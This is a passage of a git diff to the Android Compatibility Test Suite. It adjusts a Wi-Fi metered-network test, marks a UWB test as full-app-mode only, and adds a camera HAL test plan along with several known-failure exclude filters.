WifiConfiguration.METERED_OVERRIDE_METERED); + // Disable all except the currently connected networks to avoid reconnecting to the + // wrong network after later setting the current network as metered. + for (WifiConfiguration network : savedNetworks) { + if (network.networkId != currentConfig.networkId) { + assertTrue(mWifiManager.disableNetwork(network.networkId)); + } + } + // Check the network capabilities to ensure that the network is marked not metered. waitForNetworkCallbackAndCheckForMeteredness(false); @@ -2700,6 +2709,12 @@ public class WifiManagerTest extends WifiJUnit3TestBase { if (currentConfig != null) { mWifiManager.updateNetwork(currentConfig); } + // re-enable all networks + if (savedNetworks != null) { + for (WifiConfiguration network : savedNetworks) { + mWifiManager.enableNetwork(network.networkId, true); + } + } uiAutomation.dropShellPermissionIdentity(); } } diff --git a/tests/uwb/src/android/uwb/cts/UwbManagerTest.java b/tests/uwb/src/android/uwb/cts/UwbManagerTest.java index ea04fab9b26..a887709bfba 100644 --- a/tests/uwb/src/android/uwb/cts/UwbManagerTest.java +++ b/tests/uwb/src/android/uwb/cts/UwbManagerTest.java @@ -36,6 +36,7 @@ import android.os.CancellationSignal; import android.os.PersistableBundle; import android.os.Process; import android.permission.PermissionManager; +import android.platform.test.annotations.AppModeFull; import android.util.Log; import android.uwb.RangingReport; import android.uwb.RangingSession; @@ -59,6 +60,7 @@ import java.util.concurrent.TimeUnit; */ @SmallTest @RunWith(AndroidJUnit4.class) +@AppModeFull(reason = "Cannot get UwbManager in instant app mode") public class UwbManagerTest { private static final String TAG = "UwbManagerTest"; diff --git a/tools/cts-tradefed/res/config/cts-camera-hal.xml b/tools/cts-tradefed/res/config/cts-camera-hal.xml new file mode 100644 index 00000000000..ec049c067d7 --- /dev/null +++ b/tools/cts-tradefed/res/config/cts-camera-hal.xml @@ -0,0 +1,30 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- Copyright (C) 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +--> +<configuration description="Runs a subset of CTS tests for Camera HAL "> + <option name="plan" value="cts-camera-hal" /> + <option name="result-attribute" key="camera-hal" value="1" /> + + <!-- All camera CTS tests --> + <option name="compatibility:include-filter" value="CtsCameraTestCases" /> + + <!-- All related tests --> + <option name="compatibility:include-filter" value="CtsAppTestCases android.app.cts.SystemFeaturesTest#testCameraFeatures"/> + <option name="compatibility:include-filter" value="CtsCameraApi25TestCases" /> + <option name="compatibility:include-filter" value="CtsCameraApi31TestCases" /> + <option name="compatibility:include-filter" value="CtsPermissionTestCases" /> + <option name="compatibility:include-filter" value="CtsViewTestCases" /> + +</configuration>
\ No newline at end of file diff --git a/tools/cts-tradefed/res/config/cts-foldable.xml b/tools/cts-tradefed/res/config/cts-foldable.xml index 1b6b9bbc9a5..250fba80eb8 100644 --- a/tools/cts-tradefed/res/config/cts-foldable.xml +++ b/tools/cts-tradefed/res/config/cts-foldable.xml @@ -26,5 +26,8 @@ <!-- b/178344549: CtsCameraTestCases failures due to covered lenses in folded mode--> <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.BurstCaptureTest#testJpegBurst" /> <option name="compatibility:exclude-filter" value="CtsCameraTestCases[instant] android.hardware.camera2.cts.BurstCaptureTest#testJpegBurst" /> + <!-- b/193752359: OrgOwnedProfileOwnerTest#testScreenCaptureDisabled failures due to personal + launcher always visible on one of the screens. --> + <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.OrgOwnedProfileOwnerTest#testScreenCaptureDisabled" /> </configuration> diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml index ba0c0d3fb28..c6b45378d1e 100644 --- a/tools/cts-tradefed/res/config/cts-known-failures.xml +++ b/tools/cts-tradefed/res/config/cts-known-failures.xml @@ -243,5 +243,9 @@ <!-- b/194146521 --> <option name="compatibility:exclude-filter" value="CtsPermission3TestCases android.permission3.cts.PermissionTest23#testNoResidualPermissionsOnUninstall" /> + + <!-- b/198992105 --> + <option name="compatibility:exclude-filter" value="CtsStatsdAtomHostTestCases android.cts.statsd.atom.UidAtomTests#testDangerousPermissionState" /> + <option name="compatibility:exclude-filter" value="CtsStatsdAtomHostTestCases android.cts.statsd.atom.UidAtomTests#testDangerousPermissionStateSampled" /> </configuration> diff --git a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml index b1584e6e5d6..0145e55b870 100644 --- a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml +++ b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml @@ -90,4 +90,6 @@ <!-- b/194146521 --> <option name="compatibility:exclude-filter" value="CtsPermission3TestCases android.permission3.cts.PermissionTest23#testNoResidualPermissionsOnUninstall" /> + <!-- b/199996926 - No UWB stack support in AOSP for Android S --> + <option name="compatibility:exclude-filter" value="CtsUwbTestCases" /> </configuration> |